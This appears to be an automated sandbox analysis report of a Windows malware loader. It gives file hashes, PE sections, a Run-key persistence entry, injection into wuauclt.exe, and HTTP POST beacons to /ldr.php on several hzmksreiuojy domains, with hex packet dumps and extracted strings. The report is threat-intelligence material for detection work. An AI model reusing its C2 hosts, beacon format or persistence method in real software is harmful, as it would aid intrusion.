Analysis Date | 2015-05-15 00:24:34 |
---|---|
MD5 | 1153c0b5798a14c15eef580430630652 |
SHA1 | c990334b7d1e1bafb215edf2c6c0a22ea4fd2890 |
Static Details:
File type | PE32 executable for MS Windows (GUI) Intel 80386 32-bit | |
---|---|---|
Section | .text md5: 4d45cea78f3ab9f4fead024bd33ce5a1 sha1: 4f574f1ea1198062053208332d2fbfd95fb1563d size: 59392 | |
Section | .rdata md5: b6f626c36f35902475f8149097675376 sha1: 23de5ae8c94087d3d33b45310aba913eba34d067 size: 20992 | |
Section | .data md5: e6d38ab08a9fe9cbad2d493ca324a0c0 sha1: 41675827a2fa71ab58afa301fe7a2dde3c720ca4 size: 15360 | |
Section | .rsrc md5: a0a5477372f95d1c1551b8a0a0396ef5 sha1: 21a04518635140f4169189c54fda69374ff0a7ce size: 186880 | |
Timestamp | 2013-04-14 15:26:01 | |
Pdb path | c:\winter\Set\Bottom\Up\value\wild\industry\Support\nearcare.pdb | |
Packer | Microsoft Visual C++ ?.? | |
PEhash | 6794f6e198c77c2b81561e473b151a15ff623eb1 | |
IMPhash | b2498eed3c3aa5befc085379b8319a74 |
Runtime Details:
Screenshot | ![]() |
---|
Process
↳ C:\malware.exe
Creates Process | C:\WINDOWS\system32\wuauclt.exe |
---|
Process
↳ C:\WINDOWS\system32\wuauclt.exe
Registry | HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\Policies\Explorer\Run\36874 ➝ C:\Documents and Settings\All Users\Local Settings\Temp\cccbrk.cmd\\x00 |
---|---|
Creates File | PIPE\lsarpc |
Creates File | \Device\Afd\Endpoint |
Creates File | C:\Documents and Settings\All Users\Local Settings\Temp\cccbrk.cmd |
Creates Mutex | 3227095050 |
Network Details:
DNS | www.update.microsoft.com.nsatc.net Type: A 65.55.50.189 |
---|---|
DNS | www.update.microsoft.com.nsatc.net Type: A 134.170.58.221 |
DNS | hzmksreiuojy.in Type: A 195.22.26.254 |
DNS | hzmksreiuojy.in Type: A 195.22.26.231 |
DNS | hzmksreiuojy.in Type: A 195.22.26.252 |
DNS | hzmksreiuojy.in Type: A 195.22.26.253 |
DNS | hzmksreiuojy.ru Type: A 195.22.26.254 |
DNS | hzmksreiuojy.ru Type: A 195.22.26.231 |
DNS | hzmksreiuojy.ru Type: A 195.22.26.252 |
DNS | hzmksreiuojy.ru Type: A 195.22.26.253 |
DNS | hzmksreiuojy.biz Type: A 52.28.3.6 |
DNS | hzmksreiuojy.nl Type: A 176.58.104.168 |
DNS | www.update.microsoft.com Type: A |
DNS | hzmksreiuojy.com Type: A |
HTTP POST | http://8.8.8.8/xxxxxxxxx.php User-Agent: Mozilla/4.0 |
HTTP POST | http://hzmksreiuojy.in/ldr.php User-Agent: Mozilla/4.0 |
HTTP POST | http://hzmksreiuojy.ru/ldr.php User-Agent: Mozilla/4.0 |
HTTP POST | http://hzmksreiuojy.biz/ldr.php User-Agent: Mozilla/4.0 |
HTTP POST | http://hzmksreiuojy.nl/ldr.php User-Agent: Mozilla/4.0 |
Flows TCP | 192.168.1.1:1031 ➝ 65.55.50.189:80 |
Flows TCP | 192.168.1.1:1032 ➝ 8.8.8.8:80 |
Flows UDP | 192.168.1.1:1033 ➝ 8.8.4.4:53 |
Flows TCP | 192.168.1.1:1034 ➝ 195.22.26.254:80 |
Flows UDP | 192.168.1.1:1035 ➝ 8.8.4.4:53 |
Flows TCP | 192.168.1.1:1036 ➝ 195.22.26.254:80 |
Flows UDP | 192.168.1.1:1037 ➝ 8.8.4.4:53 |
Flows UDP | 192.168.1.1:1038 ➝ 8.8.4.4:53 |
Flows TCP | 192.168.1.1:1039 ➝ 52.28.3.6:80 |
Flows UDP | 192.168.1.1:1040 ➝ 8.8.4.4:53 |
Flows TCP | 192.168.1.1:1041 ➝ 176.58.104.168:80 |
Raw Pcap
0x00000000 (00000) 504f5354 202f7878 78787878 7878782e POST /xxxxxxxxx. 0x00000010 (00016) 70687020 48545450 2f312e31 0d0a486f php HTTP/1.1..Ho 0x00000020 (00032) 73743a20 382e382e 382e380d 0a557365 st: 8.8.8.8..Use 0x00000030 (00048) 722d4167 656e743a 204d6f7a 696c6c61 r-Agent: Mozilla 0x00000040 (00064) 2f342e30 0d0a436f 6e74656e 742d5479 /4.0..Content-Ty 0x00000050 (00080) 70653a20 6170706c 69636174 696f6e2f pe: application/ 0x00000060 (00096) 782d7777 772d666f 726d2d75 726c656e x-www-form-urlen 0x00000070 (00112) 636f6465 640d0a43 6f6e7465 6e742d4c coded..Content-L 0x00000080 (00128) 656e6774 683a2038 340d0a43 6f6e6e65 ength: 84..Conne 0x00000090 (00144) 6374696f 6e3a2063 6c6f7365 0d0a0d0a ction: close.... 0x000000a0 (00160) 75707163 68437338 7646544b 464f566d upqchCs8vFTKFOVm 0x000000b0 (00176) 6e494b47 4977694c 7258387a 554e3638 nIKGIwiLrX8zUN68 0x000000c0 (00192) 54337971 76685175 32547165 74516e33 T3yqvhQu2TqetQn3 0x000000d0 (00208) 71497937 51366270 54664455 74594966 qIy7Q6bpTfDUtYIf 0x000000e0 (00224) 745a3333 4e423844 4b677367 396d5933 tZ33NB8DKgsg9mY3 0x000000f0 (00240) 71773d3d qw== 0x00000000 (00000) 504f5354 202f6c64 722e7068 70204854 POST /ldr.php HT 0x00000010 (00016) 54502f31 2e310d0a 486f7374 3a20687a TP/1.1..Host: hz 0x00000020 (00032) 6d6b7372 6569756f 6a792e69 6e0d0a55 mksreiuojy.in..U 0x00000030 (00048) 7365722d 4167656e 743a204d 6f7a696c ser-Agent: Mozil 0x00000040 (00064) 6c612f34 2e300d0a 436f6e74 656e742d la/4.0..Content- 0x00000050 (00080) 54797065 3a206170 706c6963 6174696f Type: applicatio 0x00000060 (00096) 6e2f782d 7777772d 666f726d 2d75726c n/x-www-form-url 0x00000070 (00112) 656e636f 6465640d 0a436f6e 74656e74 encoded..Content 0x00000080 (00128) 2d4c656e 6774683a 2038340d 0a436f6e -Length: 84..Con 0x00000090 (00144) 6e656374 696f6e3a 20636c6f 73650d0a nection: close.. 0x000000a0 (00160) 0d0a7570 71636843 73387646 544b464f ..upqchCs8vFTKFO 0x000000b0 (00176) 566d6e49 4b474977 694c7258 387a554e VmnIKGIwiLrX8zUN 0x000000c0 (00192) 36385433 79717668 51753254 71657451 68T3yqvhQu2TqetQ 0x000000d0 (00208) 6e337149 79375136 62705466 44557459 n3qIy7Q6bpTfDUtY 0x000000e0 (00224) 4966745a 33334e42 38444b67 7367396d IftZ33NB8DKgsg9m 0x000000f0 (00240) 59337177 3d3d Y3qw== 0x00000000 (00000) 504f5354 202f6c64 722e7068 70204854 POST /ldr.php HT 0x00000010 (00016) 54502f31 2e310d0a 486f7374 3a20687a TP/1.1..Host: hz 0x00000020 (00032) 6d6b7372 6569756f 6a792e72 750d0a55 mksreiuojy.ru..U 0x00000030 (00048) 7365722d 4167656e 743a204d 6f7a696c ser-Agent: Mozil 0x00000040 (00064) 6c612f34 2e300d0a 436f6e74 656e742d la/4.0..Content- 0x00000050 (00080) 54797065 3a206170 706c6963 6174696f Type: applicatio 0x00000060 (00096) 6e2f782d 7777772d 666f726d 2d75726c n/x-www-form-url 0x00000070 (00112) 656e636f 6465640d 0a436f6e 74656e74 encoded..Content 0x00000080 (00128) 2d4c656e 6774683a 2038340d 0a436f6e -Length: 84..Con 0x00000090 (00144) 6e656374 696f6e3a 20636c6f 73650d0a nection: close.. 0x000000a0 (00160) 0d0a7570 71636843 73387646 544b464f ..upqchCs8vFTKFO 0x000000b0 (00176) 566d6e49 4b474977 694c7258 387a554e VmnIKGIwiLrX8zUN 0x000000c0 (00192) 36385433 79717668 51753254 71657451 68T3yqvhQu2TqetQ 0x000000d0 (00208) 6e337149 79375136 62705466 44557459 n3qIy7Q6bpTfDUtY 0x000000e0 (00224) 4966745a 33334e42 38444b67 7367396d IftZ33NB8DKgsg9m 0x000000f0 (00240) 59337177 3d3d Y3qw== 0x00000000 (00000) 504f5354 202f6c64 722e7068 70204854 POST /ldr.php HT 0x00000010 (00016) 54502f31 2e310d0a 486f7374 3a20687a TP/1.1..Host: hz 0x00000020 (00032) 6d6b7372 6569756f 6a792e62 697a0d0a mksreiuojy.biz.. 0x00000030 (00048) 55736572 2d416765 6e743a20 4d6f7a69 User-Agent: Mozi 0x00000040 (00064) 6c6c612f 342e300d 0a436f6e 74656e74 lla/4.0..Content 0x00000050 (00080) 2d547970 653a2061 70706c69 63617469 -Type: applicati 0x00000060 (00096) 6f6e2f78 2d777777 2d666f72 6d2d7572 on/x-www-form-ur 0x00000070 (00112) 6c656e63 6f646564 0d0a436f 6e74656e lencoded..Conten 0x00000080 (00128) 742d4c65 6e677468 3a203834 0d0a436f t-Length: 84..Co 0x00000090 (00144) 6e6e6563 74696f6e 3a20636c 6f73650d nnection: close. 0x000000a0 (00160) 0a0d0a75 70716368 43733876 46544b46 ...upqchCs8vFTKF 0x000000b0 (00176) 4f566d6e 494b4749 77694c72 58387a55 OVmnIKGIwiLrX8zU 0x000000c0 (00192) 4e363854 33797176 68517532 54716574 N68T3yqvhQu2Tqet 0x000000d0 (00208) 516e3371 49793751 36627054 66445574 Qn3qIy7Q6bpTfDUt 0x000000e0 (00224) 59496674 5a33334e 4238444b 67736739 YIftZ33NB8DKgsg9 0x000000f0 (00240) 6d593371 773d3d mY3qw== 0x00000000 (00000) 504f5354 202f6c64 722e7068 70204854 POST /ldr.php HT 0x00000010 (00016) 54502f31 2e310d0a 486f7374 3a20687a TP/1.1..Host: hz 0x00000020 (00032) 6d6b7372 6569756f 6a792e6e 6c0d0a55 mksreiuojy.nl..U 0x00000030 (00048) 7365722d 4167656e 743a204d 6f7a696c ser-Agent: Mozil 0x00000040 (00064) 6c612f34 2e300d0a 436f6e74 656e742d la/4.0..Content- 0x00000050 (00080) 54797065 3a206170 706c6963 6174696f Type: applicatio 0x00000060 (00096) 6e2f782d 7777772d 666f726d 2d75726c n/x-www-form-url 0x00000070 (00112) 656e636f 6465640d 0a436f6e 74656e74 encoded..Content 0x00000080 (00128) 2d4c656e 6774683a 2038340d 0a436f6e -Length: 84..Con 0x00000090 (00144) 6e656374 696f6e3a 20636c6f 73650d0a nection: close.. 0x000000a0 (00160) 0d0a7570 71636843 73387646 544b464f ..upqchCs8vFTKFO 0x000000b0 (00176) 566d6e49 4b474977 694c7258 387a554e VmnIKGIwiLrX8zUN 0x000000c0 (00192) 36385433 79717668 51753254 71657451 68T3yqvhQu2TqetQ 0x000000d0 (00208) 6e337149 79375136 62705466 44557459 n3qIy7Q6bpTfDUtY 0x000000e0 (00224) 4966745a 33334e42 38444b67 7367396d IftZ33NB8DKgsg9m 0x000000f0 (00240) 59337177 3d3d3d Y3qw===
Strings
. . . . -e- . \ CC. . D. . %2Tb =4|J H ((((( H ?H=a h/GIAXc h(((( H h%%k P5j= ,pcO $S8C ^wZb !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ 0A@@Ju 0@ H(2 0SSSSS 0/$ $Z 1yEE$$ [2EwE" 33EE33/ 3EEEEE %%$3$M 3N3 EE 3UEE$$M &3Z3;3 4EE33g -4zbT| }~%8%< 8VVVVV a?33$$ abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ An application has made an attempt to load the C runtime library incorrectly. </assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <at9<rt,<wt - Attempt to initialize the CRT more than once. - Attempt to use MSIL code from this assembly during native code initialization August .?AVCHandleMap@@ BC"&e& B Od(l C3?uTu CloseHandle CoCreateInstance CoInitialize CONOUT$ CorExitProcess CoUninitialize CreateFileA - CRT not initialized c:\winter\Set\Bottom\Up\value\wild\industry\Support\nearcare.pdb @.data dddd, MMMM dd, yyyy December DecodePointer DeleteCriticalSection DgCYfB DOMAIN error |Em/vE%% En2GD EncodePointer EnterCriticalSection Euuuu3M ExitProcess February F\= fA - floating point support not loaded FlsAlloc FlsFree FlsGetValue FlsSetValue FlushFileBuffers FreeEnvironmentStringsA FreeEnvironmentStringsW Friday FVh0 A GetACP GetActiveWindow GetCommandLineA GetConsoleCP GetConsoleMode GetConsoleOutputCP GetCPInfo GetCurrentProcess GetCurrentProcessId GetCurrentThreadId GetEnvironmentStrings GetEnvironmentStringsW GetFileType GetLastActivePopup GetLastError GetLocaleInfoA GetModuleFileNameA GetModuleHandleA GetOEMCP GetProcAddress GetProcessHeap GetProcessWindowStation GetStartupInfoA GetStdHandle GetStringTypeA GetStringTypeW GetSystemTimeAsFileTime GetTickCount GetUserObjectInformationA GetVersionExA guide six GWh0 A HeapAlloc HeapCreate HeapDestroy HeapFree HeapReAlloc HeapSize HH:mm:ss InitializeCriticalSection InitializeCriticalSectionAndSpinCount InterlockedDecrement InterlockedIncrement IsDebuggerPresent IsValidCodePage JanFebMarAprMayJunJulAugSepOctNovDec January jF<-uH j`hhFA j@j ^V kernel32.dll KERNEL32.dll KERNEL32.DLL LCMapStringA LCMapStringW LeaveCriticalSection LoadLibraryA MessageBoxA mh3t3i Microsoft Visual C++ Runtime Library .mixcrt MM/dd/yy Monday mscoree.dll MultiByteToWideChar - not enough space for arguments - not enough space for environment - not enough space for locale information - not enough space for lowio initialization - not enough space for _onexit/atexit table - not enough space for stdio initialization - not enough space for thread data November .nyGex October $O$$$EE ole32.dll Please contact the application's support team for more information. PPPPPPPP PrepareTape Program: <program name unknown> - pure virtual function call QueryPerformanceCounter `.rdata ReadFile REEEE{S RnnCW_ RSDSKG RtlUnwind runtime error Runtime Error! Saturday September SetEndOfFile SetFilePointer SetHandleCount SetLastError SetStdHandle SetUnhandledExceptionFilter SING error SrdF_? ^SSSSS Sunday SunMonTueWedThuFriSat t$$%%] t^9(uZ tD9(u@ TerminateProcess tGHt.Ht& This application has requested the Runtime to terminate it in an unusual way. This indicates a bug in your application. This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. !This program cannot be run in DOS mode. Thursday < tK< tG TLOSS error TlsAlloc TlsFree TlsGetValue TlsSetValue @to@e@ t#SSUP _tt333 ttECEa t$<"u 3 Tuesday ;t$,v- t$$VSS t+WWVPV tX%%EE U[$=$33 - unable to initialize heap - unable to open console device - unexpected heap error - unexpected multithread lock error UnhandledExceptionFilter UNICODE UQPXY]Y[ URPQQh(\@ USER32.DLL UTF-16LE uu$$;$Q$ uuuDt% VirtualAlloc VirtualFree VirtualProtect v N+D$ w3>3uu Wednesday WideCharToMultiByte *'W`K? <": %Wo WriteConsoleA WriteConsoleW WriteFile youkind >=Yt/j _^][YY YYu-9D$ YYuTVWh*